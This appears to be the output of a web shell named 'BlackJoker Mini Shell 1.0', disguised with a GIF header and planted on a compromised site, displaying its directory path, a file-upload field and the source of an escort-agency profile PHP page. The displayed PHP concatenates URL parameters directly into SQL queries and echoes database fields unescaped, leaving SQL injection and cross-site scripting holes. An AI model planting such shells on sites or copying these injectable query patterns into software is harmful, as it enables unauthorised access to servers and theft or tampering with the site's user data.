GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/escort-agency-profile.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	include("lib/pager.php");
?>


<? include "includes/header_top.php";?>
			

<body>
 <? include "includes/header.php";?>
  
    <div class="main_bg">
    <style>
		
		.slider{
		
		 margin: 0 auto;		
		 width: 306px;		
		 height: 360px;		
		 border: 5px solid #f8e0e9;
		 border-radius:4px;
		 margin-left:17px;
		 vertical-align:middle;
		 
		
		}	
		
		
		</style>
       			 <?
				 	$ph=str_replace('+','',$_GET['phone']);
					$sql_escort="select * from user_info where agency_name='".$_GET['name']."' AND agency_ph like '%$ph%'";
					$res_escort=execute_query($sql_escort);
					$row_escort=mysql_fetch_array($res_escort);
				?>
				    
			
    
 		<div style="height:32px; width:1000px;"> 
        	<?

				$hitdate=date('Y-m-d');
            	$sql_hitcount="SELECT * from user_info where userid='".$row_escort['userid']."'";
				$res_hitcount=execute_query($sql_hitcount);
				$row_hitcount=mysql_fetch_array($res_hitcount);
				$up_hitcount=$row_hitcount['total_hit']+1;
				if(!$_GET['page'])
				{

				$sql_updatect="UPDATE user_info SET total_hit='$up_hitcount' where userid='".$row_escort['userid']."'";
				execute_query($sql_updatect);

				}

			?>
        
        </div>
        <div  style="width:1000px; margin:0 auto;">
        		     
				<div class="estdetailscnt">                							
                        <div class="left_containest">        
                           <div class="leftcnt_top2">
                           	<table  border="0" cellpadding="0" cellspacing="0" width="100%" style="margin:0 auto;" align="center">
                              <!-- Paging display Start Table 4-->
                              <tbody>
                              	<tr height="10"></tr>
                                <tr>
                               
                                  <td width="183" align="center">
                                    <!--<img src="images/estprev.png" />-->
                                  </td>
                                    <td width="365" style="text-align:center; font-size:22px; font-weight:400; color:#000; font-family: 'Roboto Condensed',sans-serif;">
                                    <?=$row_escort['agency_name']?>
                                    </td>
                                  <td width="178" align="center">                            
                                  
                                   <!--<img src="images/estnext.png" />-->
                                  </td>
                                </tr>
                              </tbody>
                            </table>
                          
                           </div>
                           <div class="stdtls_midder">          
                                <div class="leftct_midbot22">
                                	<div style="height:15px;"></div>                                	
                                    <div class="details_midone">
                                    	<div class="details_midoneleft">
                                        	
                                            <div class="leftdtlmidagency">
                                            	
                                            	<div class="slider">
                                                     
                            						<img src="profile_pic/<?=$row_escort['pic']?>" style="width:296px; height:350px; padding:5px;"  />
                            
                                                </div>
                                            
                                            </div>
                                            <div class="leftdtlbot" style="margin-top:10px;">
                                            	<table border="0" cellpadding="0" cellspacing="0">
                                                	<tr>
                                                    	<td class="createddate">
                                                        	CREATED:<BR/>
                                                            <? $date=explode('-',$row_escort['agency_createdt']);
															   echo $date[1].'/'.$date[2].'/'.$date[0];
															
															 ?>
                                                        </td>
                                                        <td class="createddate">
                                                        	MODIFIED:<BR/>
                                                            <? $date2=explode('-',$row_escort['update_date']);
															   echo $date2[1].'/'.$date2[2].'/'.$date2[0];
															
															 ?>
                                                        </td>
                                                        <td class="createddatelast">
                                                        	TOTAL VIEWS:<BR/>
                                                            <?=$row_escort['total_hit']?>
                                                        </td>
                                                       
                                                    </tr>
                                                </table>
                                            
                                            </div>
                                            
                                            <br class="spacer" />
                                            
                                        
                                        </div>
                                        <div class="details_midoneright">
                                        	<table border="0" cellpadding="0" cellspacing="0" width="100%">	
                                        		
                                                <tr>
                                                <td colspan="2" class="headertitletext">
                                                    	About me<br/><img src="images/estdtls_divider.png" />
                                                 </td>
                                                 </tr>
                                                  <tr height="10"></tr>
                                                <tr>
                                                	<td colspan="2" class="dtlstextcolor"><?=stripslashes($row_escort['agency_about'])?></td>
                                                    
                                                </tr>
                                                <tr height="22"></tr>
                                                <tr>
                                                    <td colspan="2" class="headertitletext">
                                                            Contacts<br/><img src="images/estdtls_divider.png" />
                                                     </td>
                                                 </tr>
                                                  <tr height="10"></tr>
                                                
                                                 <tr>
                                                	<td class="dtlstextcolor">Phone:</td>
                                                    <td class="dtlstextcolor1"><?=$row_escort['agency_ph']?></td>
                                                </tr>
                                                <tr>
                                                	<td class="dtlstextcolor">Email:</td>
                                                    <td class="dtlstextcolor1" style="text-decoration:underline;">Contact Me</td>
                                                </tr>
                                                <tr>
                                                	<td class="dtlstextcolor">Message:</td>
                                                    <td class="dtlstextcolor1" style="text-decoration:underline;">Send private message</td>
                                                </tr>
                                                <tr>
                                                	<td class="dtlstextcolor">Web:</td>
                                                    <td class="dtlstextcolor1"><a href="<?=$row_escort['webpage']?>" target="_blank"><?=$row_escort['webpage']?></a></td>
                                                </tr>
                                               
                                                 <tr>
                                                    <td colspan="2" class="headertitletext">
                                                            Working Location<br/><img src="images/estdtls_divider.png" />
                                                     </td>
                                                 </tr>
                                                 <tr height="10"></tr>
                                                 <tr>
                                                 	<td colspan="2" class="dtlstextcolor1">
                                                        	<?=stripslashes($row_escort['wrk_location'])?>
                                                    </td>
                                                 
                                                 </tr>
                                                 
                                        	</table>
                                        </div>
                                        <br class="spacer" />
                                    
                                    </div>
                                    <div class="details_midtwo22">
                                    	<p class="agencyescort">Escorts of <?=$row_escort['agency_name']?> :</p>
                                    	<?
										$ii=1;
										  $sql_locescort="SELECT * FROM escort_details WHERE status='a' AND user_id='".$row_escort['userid']."'   ORDER BY id DESC "; 
										
										$res_locescort=execute_query($sql_locescort);
										$num_locescort=mysql_num_rows($res_locescort);
										if($num_locescort>0)
										{
										  while($row_locescort=mysql_fetch_array($res_locescort))
										  {
											increase_impression($row_locescort['id']);
										   ?>
                                            <div class="escortpicsnew">
                                            <?
											$todate=date('Y-m-d');
											if($row_locescort['ft_ad_status']=='Yes')
											{
												if($todate<$row_locescort['ft_ad_expair'])
															{
														?>
                                                        <div style="width:229px; height:107px; margin-top:-3px; text-align:left; position:absolute; z-index:3;"><img src="images/vip22.png" style="width:91px; height:123px;" /></div>
                                                        <? }
											
											}
											 ?>
                                                <div class="estname">
													<h1><?=$row_locescort['nickname']?></h1></div>
                                                <div class="estimage">
                                                <? 
													$sql_image="SELECT * FROM escort_photo where postid='".$row_locescort['id']."'";
													$res_image=execute_query($sql_image);
													$row_image=mysql_fetch_array($res_image);
                          $location = getUrlAttrib($row_locescort['escort_city']);
                          $nickname = getTitle($row_locescort['nickname']);
                          $title = $row_locescort['slogan'] ? '/'.getTitle($row_locescort['slogan']) : null;
                          $url = "http://{$location}.$serverName/FemaleEscorts/{$nickname}{$title}/{$row_locescort['id']}";
                                                    if($row_image['picture']!="")
                                                    {
                                                    ?>
                                                         <a href="<?php echo $url; ?>"><img src="thubigg/<?=$row_image['picture']?>" /></a>
                                                  <? } else
                                                  { ?>
                                                   <a href="<?php echo $url; ?>"> <img src="images/no_photo_female.gif" /></a>
                                                  
                                                  <? } ?>
                                                
                                                </div>
                                                <div class="estlocation"><?=$row_locescort['escort_city']?></div>
                                            
                                            </div>
                                            <?
                                              if($ii%4==0)
                                                 {
                                                    ?>
                                                    <br class="spacer" />
                                                   <div style="height:10px;">&nbsp;<br class="spacer" /></div>
                                                    <?
                                                 }
                                                $ii++;
                                    
                                     	  }  ?> 
									  		<br class="spacer" />
                                            <?
										} else {?>
                                        	<div style="text-align:center; width:550px; margin:0 auto;">
                                            	<p class="noescort">
                                                	Sorry right now ,there are no escorts.
                                                </p>
                                            
                                            </div>
                                        
                                        <? } ?> 				     		 
                   
                   
                                    
                                    </div>
                                    <div class="details_botom"></div>
                                
                                </div>
                                <br class="spacer" />                           
                           </div>
                           <div class="stdtls_footer"></div>
        
                       </div> 
        				
                        <!--<div id="abc">
                       	 <div id="popupContact" style="width:600px !important; background:#0066CC; height:500px !important;"> 
                            <div style="width:229px; height:107px; float:left; margin-top:-7px; text-align:left; position:absolute; z-index:3;">
                                <img src="images/vip22.png" style="width:108px; height:107px;" />
                           </div>                        
                            
                            <div style="float:right !important;z-index:999">    	
                            <form action="sendmail-process.php" method="post" id="form11" name="f1" onSubmit="return validate();" >                      
                                    <h2>Email <?=$row['user_name_screen']?></h2><hr/>                      
                                    <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">                        
                                        <tr>                        
                                            <td>                        
                                                Book Appointment/Send Message <br />
                                            </td> 
                                        </tr>                        
                                        <tr height="5"></tr>
                        
                                        <tr>
                        
                                        
                        
                                         <td>
                        
                                            Name<br/>
                        
                                            <input type="text" name="name" id="name" />
                        
                                         </td>
                        
                                        </tr>
                        
                                        <tr height="5"></tr>
                        
                                        <tr>
                        
                                        <td>
                        
                                            Email<br/>
                        
                                            <input type="text" name="email" id="email" />
                        
                                         </td>
                        
                                        </tr> 
                        
                                        <tr height="5"></tr>               
                        
                                       <tr >
                        
                                        <td>
                        
                                            Phone Number<br/>
                        
                                            <input type="text" name="phone" id="phone"/>
                        
                                         </td>
                        
                                       </tr>
                        
                                       <tr height="5"></tr>
                        
                                       <tr>
                        
                                        <td>
                        
                                            <div>
                        
                                                <table  border="0" cellpadding="0" cellspacing="0" style="margin:0 auto; width:100%;">
                        
                                                 <tr style="display:none;">
                        
                                                    <td>
                        
                                                       Venue<br/>
                        
                                                         <input type="text" name="venue" id="venue" placeholder="venue"/>
                        
                                                     </td>
                        
                                                   </tr>
                        
                                                   <tr height="5"></tr>
                        
                                                    <tr>
                        
                                                        <td>
                        
                                                            Message<br/>
                        
                                                             <textarea name="message" placeholder="Message" id="msg"></textarea>
                        
                                                        </td>
                        
                                                       </tr>
                        
                                                       <tr height="5"></tr>
                                                </table>
                                         
                        
                                            </div>
                        
                                            
                        
                                        </td>
                        
                                       </tr>
                        
                                       <tr height="15"></tr>
                        
                                       <tr>
                        
                                        <td><input type="image" src="images/submit.png" /><input type="hidden" name="estid" value="<?=$row['id']?>" />&nbsp;<a href="escort-service-dtls.php?estid=<?=$row['id']?>"><img src="images/cancel.png" /></a></td>
                        
                                       </tr>
                        
                                    
                        
                                    </table>
                        
                                  
                        
                                </form>
                            </div>
                                
                        
                         </div>
                  </div>-->
                   
        
                    <!--/*****start right_contain*****/-->
        
                   		 <!--/*****end right_contain*****/-->

                <br class="spacer" />
                </div>
                <br/><br/>

        </div>
     
 </div>


<? include "includes/footer.php";?>
<script type="text/javascript" src="js/jquery.cycle.all.js"></script>

<script language="javascript">

$(document).ready(function(){



	$('#slider1').cycle({

		fx: 'scrollHorz', //'scrollLeft,scrollDown,scrollRight,scrollUp',blindX, blindY, blindZ, cover, curtainX, curtainY, fade, fadeZoom, growX, growY, none, scrollUp,scrollDown,scrollLeft,scrollRight,scrollHorz,scrollVert,shuffle,slideX,slideY,toss,turnUp,turnDown,turnLeft,turnRight,uncover,ipe ,zoom

		speed:  'slow', 

   		timeout: 0,

   		next:   '#next', 

    	prev:   '#prev',

    	pager:  '#thumb',

    	 

		pagerAnchorBuilder: function(idx, slide) { 

        	return '<li><a href="#"><img src="' + slide.src + '" width="60" height="60" /></a></li>'; 

    	}  

	});





});	

</script>

./BlackJoker Mini Shell 1.0